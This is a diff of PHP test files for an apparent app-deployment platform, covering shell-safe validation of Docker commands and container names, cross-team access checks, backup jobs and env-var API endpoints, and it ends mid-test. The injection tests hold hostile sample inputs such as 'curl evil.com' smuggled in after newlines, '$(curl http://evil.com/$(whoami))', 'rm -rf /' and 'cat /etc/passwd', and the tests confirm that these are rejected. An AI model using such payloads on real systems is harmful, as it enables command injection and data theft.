$rules['docker_compose_custom_build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid docker compose commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => $cmd], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'docker compose build', + 'docker compose up -d --build', + 'docker compose -f custom.yml build --no-cache', + 'docker compose build && docker tag registry.example.com/app:beta localhost:5000/app:beta && docker push localhost:5000/app:beta', + ]); + + test('rejects backslash in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up \\n curl evil.com'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects single quotes in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => "docker compose up -d --build 'malicious'"], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows double quotes in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up -d --build --build-arg VERSION="1.0.0"'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeFalse(); + }); + + test('rejects newline injection in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => "docker compose up\ncurl evil.com"], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects carriage return injection in docker_compose_custom_build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_build_command' => "docker compose build\rcurl evil.com"], + ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('runtime validates docker compose commands', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validateShellSafeCommand'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, 'docker compose up; echo pwned', 'docker_compose_custom_start_command')) + ->toThrow(RuntimeException::class, 'contains forbidden shell characters'); + + expect(fn () => $method->invoke($instance, "docker compose up\ncurl evil.com", 'docker_compose_custom_start_command')) + ->toThrow(RuntimeException::class, 'contains forbidden shell characters'); + + expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command')) + ->toBe('docker compose up -d --build'); + }); +}); + +describe('custom_docker_run_options validation', function () { + test('rejects semicolon injection in custom_docker_run_options', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['custom_docker_run_options' => '--cap-add=NET_ADMIN; echo pwned'], + ['custom_docker_run_options' => $rules['custom_docker_run_options']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in custom_docker_run_options', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['custom_docker_run_options' => '--hostname=$(whoami)'], + ['custom_docker_run_options' => $rules['custom_docker_run_options']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid docker run options', function ($opts) { + $rules = sharedDataApplications(); + + $validator = validator( + ['custom_docker_run_options' => $opts], + ['custom_docker_run_options' => $rules['custom_docker_run_options']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + '--cap-add=NET_ADMIN --cap-add=NET_RAW', + '--privileged --init', + '--memory=512m --cpus=2', + ]); +}); + +describe('container name validation', function () { + test('rejects shell injection in container name', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['post_deployment_command_container' => 'my-container; echo pwned'], + ['post_deployment_command_container' => $rules['post_deployment_command_container']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid container names', function ($name) { + $rules = sharedDataApplications(); + + $validator = validator( + ['post_deployment_command_container' => $name], + ['post_deployment_command_container' => $rules['post_deployment_command_container']] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['my-app', 'nginx_proxy', 'web.server', 'app123']); + + test('runtime validates container names', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validateContainerName'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, 'container; echo pwned')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + + expect($method->invoke($instance, 'my-app')) + ->toBe('my-app'); + }); +}); + +describe('dockerfile_target_build rules survive array_merge in controller', function () { + test('dockerfile_target_build safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + // Simulate what ApplicationsController does: array_merge(shared, local) + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged)->toHaveKey('dockerfile_target_build'); + expect($merged['dockerfile_target_build'])->toBeArray(); + expect($merged['dockerfile_target_build'])->toContain('regex:'.ValidationPatterns::DOCKER_TARGET_PATTERN); + }); +}); + +describe('docker_compose_custom_command rules survive array_merge in controller', function () { + test('docker_compose_custom_start_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + // Simulate what ApplicationsController does: array_merge(shared, local) + // After our fix, local no longer contains docker_compose_custom_start_command, + // so the shared regex rule must survive + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['docker_compose_custom_start_command'])->toBeArray(); + expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); + + test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['docker_compose_custom_build_command'])->toBeArray(); + expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); +}); + describe('API route middleware for deploy actions', function () { test('application start route requires deploy ability', function () { $routes = app('router')->getRoutes(); diff --git a/tests/Feature/ComposePreviewFqdnTest.php b/tests/Feature/ComposePreviewFqdnTest.php new file mode 100644 index 000000000..c62f905d6 --- /dev/null +++ b/tests/Feature/ComposePreviewFqdnTest.php @@ -0,0 +1,77 @@ +create([ + 'build_pack' => 'dockercompose', + 'docker_compose_domains' => json_encode([ + 'web' => ['domain' => 'https://example.com'], + ]), + ]); + + $preview = ApplicationPreview::create([ + 'application_id' => $application->id, + 'pull_request_id' => 42, + 'docker_compose_domains' => $application->docker_compose_domains, + ]); + + $preview->generate_preview_fqdn_compose(); + + $preview->refresh(); + + expect($preview->fqdn)->not->toBeNull(); + expect($preview->fqdn)->toContain('42'); + expect($preview->fqdn)->toContain('example.com'); +}); + +it('populates fqdn with multiple domains from multiple services', function () { + $application = Application::factory()->create([ + 'build_pack' => 'dockercompose', + 'docker_compose_domains' => json_encode([ + 'web' => ['domain' => 'https://web.example.com'], + 'api' => ['domain' => 'https://api.example.com'], + ]), + ]); + + $preview = ApplicationPreview::create([ + 'application_id' => $application->id, + 'pull_request_id' => 7, + 'docker_compose_domains' => $application->docker_compose_domains, + ]); + + $preview->generate_preview_fqdn_compose(); + + $preview->refresh(); + + expect($preview->fqdn)->not->toBeNull(); + $domains = explode(',', $preview->fqdn); + expect($domains)->toHaveCount(2); + expect($preview->fqdn)->toContain('web.example.com'); + expect($preview->fqdn)->toContain('api.example.com'); +}); + +it('sets fqdn to null when no domains are configured', function () { + $application = Application::factory()->create([ + 'build_pack' => 'dockercompose', + 'docker_compose_domains' => json_encode([ + 'web' => ['domain' => ''], + ]), + ]); + + $preview = ApplicationPreview::create([ + 'application_id' => $application->id, + 'pull_request_id' => 99, + 'docker_compose_domains' => $application->docker_compose_domains, + ]); + + $preview->generate_preview_fqdn_compose(); + + $preview->refresh(); + + expect($preview->fqdn)->toBeNull(); +}); diff --git a/tests/Feature/CrossTeamIdorLogsTest.php b/tests/Feature/CrossTeamIdorLogsTest.php new file mode 100644 index 000000000..4d12e9340 --- /dev/null +++ b/tests/Feature/CrossTeamIdorLogsTest.php @@ -0,0 +1,97 @@ +userA = User::factory()->create(); + $this->teamA = Team::factory()->create(); + $this->userA->teams()->attach($this->teamA, ['role' => 'owner']); + + $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]); + $this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]); + $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]); + $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]); + + // Victim: Team B + $this->teamB = Team::factory()->create(); + $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]); + $this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]); + $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]); + $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]); + + $this->victimApplication = Application::factory()->create([ + 'environment_id' => $this->environmentB->id, + 'destination_id' => $this->destinationB->id, + 'destination_type' => $this->destinationB->getMorphClass(), + ]); + + $this->victimService = Service::factory()->create([ + 'environment_id' => $this->environmentB->id, + 'destination_id' => $this->destinationB->id, + 'destination_type' => StandaloneDocker::class, + ]); + + // Act as attacker + $this->actingAs($this->userA); + session(['currentTeam' => $this->teamA]); +}); + +test('cannot access logs of application from another team', function () { + $response = $this->get(route('project.application.logs', [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + 'application_uuid' => $this->victimApplication->uuid, + ])); + + $response->assertStatus(404); +}); + +test('cannot access logs of service from another team', function () { + $response = $this->get(route('project.service.logs', [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + 'service_uuid' => $this->victimService->uuid, + ])); + + $response->assertStatus(404); +}); + +test('can access logs of own application', function () { + $ownApplication = Application::factory()->create([ + 'environment_id' => $this->environmentA->id, + 'destination_id' => $this->destinationA->id, + 'destination_type' => $this->destinationA->getMorphClass(), + ]); + + $response = $this->get(route('project.application.logs', [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + 'application_uuid' => $ownApplication->uuid, + ])); + + $response->assertStatus(200); +}); + +test('can access logs of own service', function () { + $ownService = Service::factory()->create([ + 'environment_id' => $this->environmentA->id, + 'destination_id' => $this->destinationA->id, + 'destination_type' => StandaloneDocker::class, + ]); + + $response = $this->get(route('project.service.logs', [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + 'service_uuid' => $ownService->uuid, + ])); + + $response->assertStatus(200); +}); diff --git a/tests/Feature/DatabaseBackupJobTest.php b/tests/Feature/DatabaseBackupJobTest.php index d7efc2bcd..05cb21f12 100644 --- a/tests/Feature/DatabaseBackupJobTest.php +++ b/tests/Feature/DatabaseBackupJobTest.php @@ -1,6 +1,10 @@ toHaveKey('s3_storage_deleted'); expect($casts['s3_storage_deleted'])->toBe('boolean'); }); + +test('upload_to_s3 throws exception and disables s3 when storage is null', function () { + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => 99999, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => Team::factory()->create()->id, + ]); + + $job = new DatabaseBackupJob($backup); + + $reflection = new ReflectionClass($job); + $s3Property = $reflection->getProperty('s3'); + $s3Property->setValue($job, null); + + $method = $reflection->getMethod('upload_to_s3'); + + expect(fn () => $method->invoke($job)) + ->toThrow(Exception::class, 'S3 storage configuration is missing or has been deleted'); + + $backup->refresh(); + expect($backup->save_s3)->toBeFalsy(); + expect($backup->s3_storage_id)->toBeNull(); +}); + +test('deleting s3 storage disables s3 on linked backups', function () { + $team = Team::factory()->create(); + + $s3 = S3Storage::create([ + 'name' => 'Test S3', + 'region' => 'us-east-1', + 'key' => 'test-key', + 'secret' => 'test-secret', + 'bucket' => 'test-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $team->id, + ]); + + $backup1 = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => $s3->id, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + ]); + + $backup2 = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => $s3->id, + 'database_type' => 'App\Models\StandaloneMysql', + 'database_id' => 2, + 'team_id' => $team->id, + ]); + + // Unrelated backup should not be affected + $unrelatedBackup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => null, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 3, + 'team_id' => $team->id, + ]); + + $s3->delete(); + + $backup1->refresh(); + $backup2->refresh(); + $unrelatedBackup->refresh(); + + expect($backup1->save_s3)->toBeFalsy(); + expect($backup1->s3_storage_id)->toBeNull(); + expect($backup2->save_s3)->toBeFalsy(); + expect($backup2->s3_storage_id)->toBeNull(); + expect($unrelatedBackup->save_s3)->toBeTruthy(); +}); + +test('failed method does not overwrite successful backup status', function () { + $team = Team::factory()->create(); + + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => false, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + ]); + + $log = ScheduledDatabaseBackupExecution::create([ + 'uuid' => 'test-uuid-success-guard', + 'database_name' => 'test_db', + 'filename' => '/backup/test.dmp', + 'scheduled_database_backup_id' => $backup->id, + 'status' => 'success', + 'message' => 'Backup completed successfully', + 'size' => 1024, + ]); + + $job = new DatabaseBackupJob($backup); + + $reflection = new ReflectionClass($job); + + $teamProp = $reflection->getProperty('team'); + $teamProp->setValue($job, $team); + + $logUuidProp = $reflection->getProperty('backup_log_uuid'); + $logUuidProp->setValue($job, 'test-uuid-success-guard'); + + // Simulate a post-backup failure (e.g. notification error) + $job->failed(new Exception('Request to the Resend API failed')); + + $log->refresh(); + expect($log->status)->toBe('success'); + expect($log->message)->toBe('Backup completed successfully'); + expect($log->size)->toBe(1024); +}); + +test('failed method updates status when backup was not successful', function () { + $team = Team::factory()->create(); + + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => false, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + ]); + + $log = ScheduledDatabaseBackupExecution::create([ + 'uuid' => 'test-uuid-pending-guard', + 'database_name' => 'test_db', + 'filename' => '/backup/test.dmp', + 'scheduled_database_backup_id' => $backup->id, + 'status' => 'pending', + ]); + + $job = new DatabaseBackupJob($backup); + + $reflection = new ReflectionClass($job); + + $teamProp = $reflection->getProperty('team'); + $teamProp->setValue($job, $team); + + $logUuidProp = $reflection->getProperty('backup_log_uuid'); + $logUuidProp->setValue($job, 'test-uuid-pending-guard'); + + $job->failed(new Exception('Some real failure')); + + $log->refresh(); + expect($log->status)->toBe('failed'); + expect($log->message)->toContain('Some real failure'); +}); + +test('s3 storage has scheduled backups relationship', function () { + $team = Team::factory()->create(); + + $s3 = S3Storage::create([ + 'name' => 'Test S3', + 'region' => 'us-east-1', + 'key' => 'test-key', + 'secret' => 'test-secret', + 'bucket' => 'test-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $team->id, + ]); + + ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => $s3->id, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + ]); + + expect($s3->scheduledBackups()->count())->toBe(1); +}); diff --git a/tests/Feature/DatabaseEnvironmentVariableApiTest.php b/tests/Feature/DatabaseEnvironmentVariableApiTest.php new file mode 100644 index 000000000..f3297cf17 --- /dev/null +++ b/tests/Feature/DatabaseEnvironmentVariableApiTest.php @@ -0,0 +1,346 @@ + 0]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +function createDatabase($context): StandalonePostgresql +{ + return StandalonePostgresql::create([ + 'name' => 'test-postgres', + 'image' => 'postgres:15-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'postgres', + 'environment_id' => $context->environment->id, + 'destination_id' => $context->destination->id, + 'destination_type' => $context->destination->getMorphClass(), + ]); +} + +describe('GET /api/v1/databases/{uuid}/envs', function () { + test('lists environment variables for a database', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'CUSTOM_VAR', + 'value' => 'custom_value', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson("/api/v1/databases/{$database->uuid}/envs"); + + $response->assertStatus(200); + $response->assertJsonFragment(['key' => 'CUSTOM_VAR']); + }); + + test('returns empty array when no environment variables exist', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson("/api/v1/databases/{$database->uuid}/envs"); + + $response->assertStatus(200); + $response->assertJson([]); + }); + + test('returns 404 for non-existent database', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson('/api/v1/databases/non-existent-uuid/envs'); + + $response->assertStatus(404); + }); +}); + +describe('POST /api/v1/databases/{uuid}/envs', function () { + test('creates an environment variable', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'NEW_VAR', + 'value' => 'new_value', + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'NEW_VAR') + ->where('resourceable_id', $database->id) + ->where('resourceable_type', StandalonePostgresql::class) + ->first(); + + expect($env)->not->toBeNull(); + expect($env->value)->toBe('new_value'); + }); + + test('creates an environment variable with comment', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'COMMENTED_VAR', + 'value' => 'some_value', + 'comment' => 'This is a test comment', + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'COMMENTED_VAR') + ->where('resourceable_id', $database->id) + ->first(); + + expect($env->comment)->toBe('This is a test comment'); + }); + + test('returns 409 when environment variable already exists', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'EXISTING_VAR', + 'value' => 'existing_value', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'EXISTING_VAR', + 'value' => 'new_value', + ]); + + $response->assertStatus(409); + }); + + test('returns 422 when key is missing', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'value' => 'some_value', + ]); + + $response->assertStatus(422); + }); +}); + +describe('PATCH /api/v1/databases/{uuid}/envs', function () { + test('updates an environment variable', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'UPDATE_ME', + 'value' => 'old_value', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'UPDATE_ME', + 'value' => 'new_value', + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'UPDATE_ME') + ->where('resourceable_id', $database->id) + ->first(); + + expect($env->value)->toBe('new_value'); + }); + + test('returns 404 when environment variable does not exist', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'NONEXISTENT', + 'value' => 'value', + ]); + + $response->assertStatus(404); + }); +}); + +describe('PATCH /api/v1/databases/{uuid}/envs/bulk', function () { + test('creates environment variables with comments', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'DB_HOST', + 'value' => 'localhost', + 'comment' => 'Database host', + ], + [ + 'key' => 'DB_PORT', + 'value' => '5432', + ], + ], + ]); + + $response->assertStatus(201); + + $envWithComment = EnvironmentVariable::where('key', 'DB_HOST') + ->where('resourceable_id', $database->id) + ->where('resourceable_type', StandalonePostgresql::class) + ->first(); + + $envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT') + ->where('resourceable_id', $database->id) + ->where('resourceable_type', StandalonePostgresql::class) + ->first(); + + expect($envWithComment->comment)->toBe('Database host'); + expect($envWithoutComment->comment)->toBeNull(); + }); + + test('updates existing environment variables via bulk', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'BULK_VAR', + 'value' => 'old_value', + 'comment' => 'Old comment', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'BULK_VAR', + 'value' => 'new_value', + 'comment' => 'Updated comment', + ], + ], + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'BULK_VAR') + ->where('resourceable_id', $database->id) + ->first(); + + expect($env->value)->toBe('new_value'); + expect($env->comment)->toBe('Updated comment'); + }); + + test('rejects comment exceeding 256 characters', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'TEST_VAR', + 'value' => 'value', + 'comment' => str_repeat('a', 257), + ], + ], + ]); + + $response->assertStatus(422); + }); + + test('returns 400 when data is missing', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", []); + + $response->assertStatus(400); + }); +}); + +describe('DELETE /api/v1/databases/{uuid}/envs/{env_uuid}', function () { + test('deletes an environment variable', function () { + $database = createDatabase($this); + + $env = EnvironmentVariable::create([ + 'key' => 'DELETE_ME', + 'value' => 'to_delete', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->deleteJson("/api/v1/databases/{$database->uuid}/envs/{$env->uuid}"); + + $response->assertStatus(200); + $response->assertJson(['message' => 'Environment variable deleted.']); + + expect(EnvironmentVariable::where('uuid', $env->uuid)->first())->toBeNull(); + }); + + test('returns 404 for non-existent environment variable', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->deleteJson("/api/v1/databases/{$database->uuid}/envs/non-existent-uuid"); + + $response->assertStatus(404); + }); +}); diff --git a/tests/Feature/DatabaseImportCommandInjectionTest.php b/tests/Feature/DatabaseImportCommandInjectionTest.php new file mode 100644 index 000000000..f7b1bbbed --- /dev/null +++ b/tests/Feature/DatabaseImportCommandInjectionTest.php @@ -0,0 +1,125 @@ +toBeTrue(); + expect(ValidationPatterns::isValidContainerName('my_container'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('container123'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('my.container.name'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('a'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('abc-def_ghi.jkl'))->toBeTrue(); + }); + + test('isValidContainerName rejects command injection payloads', function () { + // Command substitution + expect(ValidationPatterns::isValidContainerName('$(curl http://evil.com/$(whoami))'))->toBeFalse(); + expect(ValidationPatterns::isValidContainerName('$(whoami)'))->toBeFalse(); + + // Backtick injection + expect(ValidationPatterns::isValidContainerName('`id`'))->toBeFalse(); + + // Semicolon chaining + expect(ValidationPatterns::isValidContainerName('container;rm -rf /'))->toBeFalse(); + + // Pipe injection + expect(ValidationPatterns::isValidContainerName('container|cat /etc/passwd'))->toBeFalse(); + + // Ampersand chaining + expect(ValidationPatterns::isValidContainerName('container&&env'))->toBeFalse(); + + // Spaces (not valid in Docker container names) + expect(ValidationPatterns::isValidContainerName('container name'))->toBeFalse(); + + // Newlines + expect(ValidationPatterns::isValidContainerName("container\nid"))->toBeFalse(); + + // Must start with alphanumeric + expect(ValidationPatterns::isValidContainerName('-container'))->toBeFalse(); + expect(ValidationPatterns::isValidContainerName('.container'))->toBeFalse(); + expect(ValidationPatterns::isValidContainerName('_container'))->toBeFalse(); + }); +}); + +describe('locked properties', function () { + test('container property has Locked attribute', function () { + $property = new ReflectionProperty(Import::class, 'container'); + $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('serverId property has Locked attribute', function () { + $property = new ReflectionProperty(Import::class, 'serverId'); + $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('resourceId property has Locked attribute', function () { + $property = new ReflectionProperty(Import::class, 'resourceId'); + $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('resourceType property has Locked attribute', function () { + $property = new ReflectionProperty(Import::class, 'resourceType'); + $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('resourceUuid property has Locked attribute', function () { + $property = new ReflectionProperty(Import::class, 'resourceUuid'); + $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('resourceDbType property has Locked attribute', function () { + $property = new ReflectionProperty(Import::class, 'resourceDbType'); + $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); +}); + +describe('server method uses team scoping', function () { + test('server computed property calls ownedByCurrentTeam', function () { + $method = new ReflectionMethod(Import::class, 'server'); + + // Extract the server method body + $startLine = $method->getStartLine(); + $endLine = $method->getEndLine(); + $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); + $methodBody = implode('', $lines); + + expect($methodBody)->toContain('ownedByCurrentTeam'); + expect($methodBody)->not->toContain('Server::find($this->serverId)'); + }); +}); + +describe('Import component uses shared ValidationPatterns', function () { + test('runImport references ValidationPatterns for container validation', function () { + $method = new ReflectionMethod(Import::class, 'runImport'); + $startLine = $method->getStartLine(); + $endLine = $method->getEndLine(); + $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); + $methodBody = implode('', $lines); + + expect($methodBody)->toContain('ValidationPatterns::isValidContainerName'); + }); + + test('restoreFromS3 references ValidationPatterns for container validation', function () { + $method = new ReflectionMethod(Import::class, 'restoreFromS3'); + $startLine = $method->getStartLine(); + $endLine = $method->getEndLine(); + $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); + $methodBody = implode('', $lines); + + expect($methodBody)->toContain('ValidationPatterns::isValidContainerName'); + }); +}); diff --git a/tests/Feature/DeploymentByUuidApiTest.php b/tests/Feature/DeploymentByUuidApiTest.php new file mode 100644 index 000000000..2542f3deb --- /dev/null +++ b/tests/Feature/DeploymentByUuidApiTest.php @@ -0,0 +1,94 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + // Create token manually since User::createToken relies on session('currentTeam') + $plainTextToken = Str::random(40); + $token = $this->user->tokens()->create([ + 'name' => 'test-token', + 'token' => hash('sha256', $plainTextToken), + 'abilities' => ['*'], + 'team_id' => $this->team->id, + ]); + $this->bearerToken = $token->getKey().'|'.$plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + ]); +}); + +describe('GET /api/v1/deployments/{uuid}', function () { + test('returns 401 when not authenticated', function () { + $response = 